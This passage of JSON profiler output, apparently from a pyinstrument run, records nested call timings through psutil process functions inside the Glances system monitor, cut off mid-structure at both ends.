\"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 0.001999528998567257},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989430002169684, \"l836\": 0.0019989430002169684},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989430002169684, \"l1593\": 0.0019989430002169684},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989430002169684, \"l1796\": 0.0019989430002169684},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001999,\"attributes\": {\"l682\": 0.0019989430002169684},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__enter__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000136\",\"time\": 0.001996,\"attributes\": {\"c_GeneratorContextManager\": 0.0019959620040026493, \"l141\": 0.0019959620040026493},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.0019959620040026493, \"l535\": 0.0019959620040026493},\"children\": [{\"identifier\": \"oneshot_enter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001727\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.0019959620040026493, \"l1728\": 0.0019959620040026493},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020005139958811924, \"l1078\": 0.0020005139958811924},\"children\": [{\"identifier\": \"timer\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001066\",\"time\": 0.002001,\"attributes\": {\"l1067\": 0.0020005139958811924},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999977001105435, \"l939\": 0.001999977001105435},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999977001105435, \"l1593\": 0.001999977001105435},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999977001105435, \"l2052\": 0.001999977001105435},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999977001105435, \"l1593\": 0.001999977001105435},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999977001105435, \"l382\": 0.001999977001105435},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999977001105435, \"l1719\": 0.001999977001105435},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020020669981022365, \"l939\": 0.0020020669981022365},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020020669981022365, \"l1593\": 0.0020020669981022365},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020020669981022365, \"l2052\": 0.0020020669981022365},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020020669981022365, \"l1593\": 0.0020020669981022365},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020020669981022365, \"l382\": 0.0020020669981022365},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020020669981022365, \"l1719\": 0.0020020669981022365},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019973270027549006, \"l382\": 0.0019973270027549006},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001118\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019973270027549006, \"l1127\": 0.0019973270027549006},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019973270027549006, \"l1593\": 0.0019973270027549006},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019973270027549006, \"l1835\": 0.0019973270027549006},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020017189963255078, \"l680\": 0.0020017189963255078},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020017189963255078, \"l1593\": 0.0020017189963255078},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020017189963255078, \"l1740\": 0.0020017189963255078},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020017189963255078, \"l1593\": 0.0020017189963255078},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020017189963255078, \"l382\": 0.0020017189963255078},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020017189963255078, \"l1683\": 0.0020017189963255078},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002002,\"attributes\": {\"l730\": 0.0020017189963255078},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002002,\"attributes\": {\"l718\": 0.0020017189963255078},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002002,\"attributes\": {\"l682\": 0.0020017189963255078},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020026450001751073, \"l680\": 0.0020026450001751073},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020026450001751073, \"l1593\": 0.0020026450001751073},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020026450001751073, \"l1740\": 0.0020026450001751073},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020026450001751073, \"l1593\": 0.0020026450001751073},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020026450001751073, \"l382\": 0.0020026450001751073},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020026450001751073, \"l1683\": 0.0020026450001751073},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002003,\"attributes\": {\"l730\": 0.0020026450001751073},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002003,\"attributes\": {\"l718\": 0.0020026450001751073},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002003,\"attributes\": {\"l682\": 0.0020026450001751073},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002003,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.001998,\"attributes\": {\"c_GeneratorContextManager\": 0.001997987004870083, \"l148\": 0.001997987004870083},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001997987004870083, \"l543\": 0.001997987004870083},\"children\": [{\"identifier\": \"oneshot_exit\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001732\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001997987004870083, \"l1734\": 0.001997987004870083},\"children\": [{\"identifier\": \"cache_deactivate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000399\",\"time\": 0.001998,\"attributes\": {\"l404\": 0.001997987004870083},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019993470050394535, \"l939\": 0.0019993470050394535},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019993470050394535, \"l1593\": 0.0019993470050394535},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019993470050394535, \"l2052\": 0.0019993470050394535},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019993470050394535, \"l1593\": 0.0019993470050394535},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019993470050394535, \"l382\": 0.0019993470050394535},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019993470050394535, \"l1719\": 0.0019993470050394535},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003999225998995826, \"l680\": 0.002001931999984663, \"l687\": 0.0019972939990111627},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001931999984663, \"l1593\": 0.002001931999984663},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001931999984663, \"l1740\": 0.002001931999984663},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001931999984663, \"l1593\": 0.002001931999984663},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001931999984663, \"l382\": 0.002001931999984663},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001931999984663, \"l1683\": 0.002001931999984663},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002002,\"attributes\": {\"l730\": 0.002001931999984663},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002002,\"attributes\": {\"l719\": 0.002001931999984663},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019972939990111627, \"l748\": 0.0019972939990111627},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019972939990111627, \"l1593\": 0.0019972939990111627},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019972939990111627, \"l1750\": 0.0019972939990111627},\"children\": [{\"identifier\": \"open_text\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000685\",\"time\": 0.001997,\"attributes\": {\"l692\": 0.0019972939990111627},\"children\": [{\"identifier\": \"__init__\\u0000<frozen codecs>\\u0000312\",\"time\": 0.001997,\"attributes\": {\"cIncrementalDecoder\": 0.0019972939990111627, \"l313\": 0.0019972939990111627},\"children\": [{\"identifier\": \"__init__\\u0000<frozen codecs>\\u0000263\",\"time\": 0.001997,\"attributes\": {\"cIncrementalDecoder\": 0.0019972939990111627, \"l271\": 0.0019972939990111627},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000303997192532, \"l1064\": 0.002000303997192532},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.002000,\"attributes\": {\"l1682\": 0.002000303997192532},\"children\": [{\"identifier\": \"cpu_count_logical\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000535\",\"time\": 0.002000,\"attributes\": {\"l538\": 0.002000303997192532},\"children\": [{\"identifier\": \"sysconf\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"__enter__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000136\",\"time\": 0.001999,\"attributes\": {\"c_GeneratorContextManager\": 0.0019987859996035695, \"l141\": 0.0019987859996035695},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019987859996035695, \"l526\": 0.0019987859996035695},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019992820016341284, \"l1064\": 0.0019992820016341284},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.001999,\"attributes\": {\"l1682\": 0.0019992820016341284},\"children\": [{\"identifier\": \"cpu_count_logical\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000535\",\"time\": 0.001999,\"attributes\": {\"l538\": 0.0019992820016341284},\"children\": [{\"identifier\": \"sysconf\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.008002,\"attributes\": {\"cProcess\": 0.008002301001397427, \"l639\": 0.008002301001397427},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000179003924131, \"l314\": 0.004000179003924131},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000179003924131, \"l347\": 0.004000179003924131},\"children\": [{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000179003924131, \"l394\": 0.004000179003924131},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000179003924131, \"l1593\": 0.004000179003924131},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000179003924131, \"l1857\": 0.004000179003924131},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020017909992020577, \"l1593\": 0.0020017909992020577},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020017909992020577, \"l375\": 0.0020017909992020577},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020017909992020577, \"l1709\": 0.0020017909992020577},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__ne__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000451\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019991699955426157, \"l452\": 0.0019991699955426157},\"children\": [{\"identifier\": \"__eq__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000430\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019991699955426157, \"l449\": 0.0019991699955426157},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.00200295200193068, \"l314\": 0.00200295200193068},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.00200295200193068, \"l347\": 0.00200295200193068},\"children\": [{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.00200295200193068, \"l394\": 0.00200295200193068},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.00200295200193068, \"l1593\": 0.00200295200193068},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.00200295200193068, \"l1857\": 0.00200295200193068},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.00200295200193068, \"l1593\": 0.00200295200193068},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.00200295200193068, \"l375\": 0.00200295200193068},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.00200295200193068, \"l1683\": 0.00200295200193068},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002003,\"attributes\": {\"l730\": 0.00200295200193068},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002003,\"attributes\": {\"l718\": 0.00200295200193068},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002003,\"attributes\": {\"l682\": 0.00200295200193068},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002003,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update_processcount\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000173\",\"time\": 0.001997,\"attributes\": {\"cGlancesProcesses\": 0.001997286999539938, \"l180\": 0.001997286999539938},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]},{\"identifier\": \"remove_non_running_procs\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000676\",\"time\": 0.002131,\"attributes\": {\"cGlancesProcesses\": 0.0021306310009094886, \"l679\": 0.0021306310009094886},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002131,\"attributes\": {},\"children\": []}]},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.001882,\"attributes\": {\"cGlancesProcesses\": 0.0018816779993358068, \"l689\": 0.0018816779993358068},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.001882,\"attributes\": {\"l589\": 0.0018816779993358068},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.001882,\"attributes\": {\"l584\": 0.0018816779993358068},\"children\": [{\"identifier\": 